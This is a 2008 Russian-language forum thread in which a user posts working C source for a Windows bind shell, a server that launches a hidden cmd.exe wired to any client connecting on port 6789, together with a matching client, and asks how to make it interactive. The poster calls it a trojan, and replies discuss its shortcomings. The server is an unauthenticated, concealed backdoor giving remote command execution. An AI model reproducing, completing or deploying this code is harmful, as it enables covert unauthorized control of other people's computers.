Удаленное управление cmd.exe

Discussion in 'С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby' started by VARVAR, 3 Aug 2008.

  1. VARVAR

    VARVAR New Member

    Joined:
    3 Jun 2005
    Messages:
    39
    Likes Received:
    1
    Reputations:
    0
    Захотелось на основе сокетов написать сервер и клиент для
    удаленного управление компом. :)

    Конечно в Инете можно найти код и через pipes (каналы), но ведь можно обойтись без низ.


    Сервер:

    Code:
    //
    // Listens on port 6789
    //
    #pragma comment(lib, "ws2_32.lib")
    #define _WIN32_WINNT  0x0501
    #include <winsock2.h>
    #include <windows.h>
    
    char szSystemDir[MAX_PATH + 1];
    
    DWORD CALLBACK Thread_ShellSpawner(LPVOID lpParam)
    {
        STARTUPINFO si;
        PROCESS_INFORMATION pi;
        SOCKET sClient = (SOCKET)lpParam;
        
        memset(&si, 0, sizeof(STARTUPINFO));
        si.cb = sizeof(STARTUPINFO);
        si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW | STARTF_USEPOSITION;
        si.wShowWindow = SW_HIDE;
        si.hStdError = si.hStdInput = si.hStdOutput = (HANDLE)sClient;
        si.dwX = GetSystemMetrics(SM_CXSCREEN);
        si.dwY = GetSystemMetrics(SM_CYSCREEN);
        
        SetCurrentDirectory(szSystemDir);
        CreateProcess(NULL, "cmd.exe", NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);
        WaitForSingleObject(pi.hProcess, INFINITE);
        closesocket(sClient);
        return 0;
    }
    
    int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrev, LPSTR lpCmdLine, int nCmdShow)
    {
        WSADATA wsaData;
        WSAStartup(MAKEWORD(2,2), &wsaData);
    
        SOCKET sServer = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, 0, 0, 0);
        
        struct sockaddr_in sockAddr;
        sockAddr.sin_family = AF_INET;
        sockAddr.sin_port = htons(6789);
        sockAddr.sin_addr.s_addr = htonl(INADDR_ANY);
        int sockAddrLen = sizeof(sockAddr);
        bind(sServer, (struct sockaddr *)&sockAddr, sockAddrLen);
        listen(sServer, 5);
    
        GetSystemDirectory(szSystemDir, MAX_PATH);
    
        while(TRUE){
            SOCKET sClient = accept(sServer, (struct sockaddr*)&sockAddr, &sockAddrLen);
            if(sClient == SOCKET_ERROR) break;
            CreateThread(NULL, 0, Thread_ShellSpawner, (LPVOID)sClient, 0, NULL);
        }
        
        WSACleanup();
        return 0;
    }
    
    
    Клиент
    Code:
    #include <stdio.h>
    #include <string.h>
    #include <winsock2.h>
    #include <iostream>
    
    #pragma comment(lib, "ws2_32.lib")
    #define version 0x002
    #define SERVERPORT 6789
    
    
    
    int main()
    {
        WSADATA wsaData;
        SOCKET socketfd;
        struct sockaddr_in server_addr; 
        
        // Письмо серверу
        char message[]="dir";
    
        char buff[1024];
    
        struct hostent *h;
        
        if(WSAStartup(MAKEWORD(version,2),&wsaData))
        {
            fprintf(stderr,"\nError intializing winsock library!");
            return 1;
        }
    
        h=gethostbyname("127.0.0.1");
        server_addr.sin_family=h->h_addrtype;
        server_addr.sin_port=htons(SERVERPORT);
        server_addr.sin_addr.S_un.S_addr=inet_addr(h->h_name);
        memset(&(server_addr.sin_zero),'\0',8);
        
        socketfd=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
        if(socketfd==INVALID_SOCKET)
        {
            fprintf(stderr,"\nError creating socket!");
            return 1;
        }
    
        // соединяемся с сервером
        connect(socketfd,(const struct sockaddr*)&server_addr,sizeof(struct sockaddr));
    
    
        //if(send(socketfd,message,lstrlen(message),0)==SOCKET_ERROR)
        //{
        //  fprintf(stderr,"Data could not be send!");
        //  return 1;
        //}
    
        int nsize;
    
        // получаем данные
        while( nsize = recv(socketfd, buff, sizeof(buff)-1, 0) )
        {
            
            buff[nsize]=0;      
            printf("S=>C:%s", buff);
    
        }
    
        closesocket(socketfd);
        WSACleanup();
    
    }
    
    У меня клиент получает данные от сервера (то есть комстроку).

    Вопрос:

    А что дополнить чтобы при вводе в клиент можно было выполнить команду,
    например DIR и получить результат.
     
  2. slesh

    slesh Elder - Старейшина

    Joined:
    5 Mar 2007
    Messages:
    2,702
    Likes Received:
    1,224
    Reputations:
    455
    йа такое на ассемблере писал :) и у этого способа есть небольшой недостаток.
    А именно: если просто закрыть соединение, не вводя команду EXIT то в оперативе так и продолжит весеть cmd.exe
     
  3. VARVAR

    VARVAR New Member

    Joined:
    3 Jun 2005
    Messages:
    39
    Likes Received:
    1
    Reputations:
    0
    Спасибо, что ответили ребята !

    пока так работает:
    CreateProcess(NULL, "cmd.exe /c dir", NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);

    Но желательно:
    введя в клиент любую команду (например, cd/, dir, другие ms-dos) в клиенте
    получить ответ...


    То есть трой через комстроку, а не shell.
    Пока робкая попытка...
     
  4. izlesa

    izlesa Elder - Старейшина

    Joined:
    3 Jan 2008
    Messages:
    112
    Likes Received:
    32
    Reputations:
    5
    20verbreaK
    человек хочет без пайпов это сделать ^_____^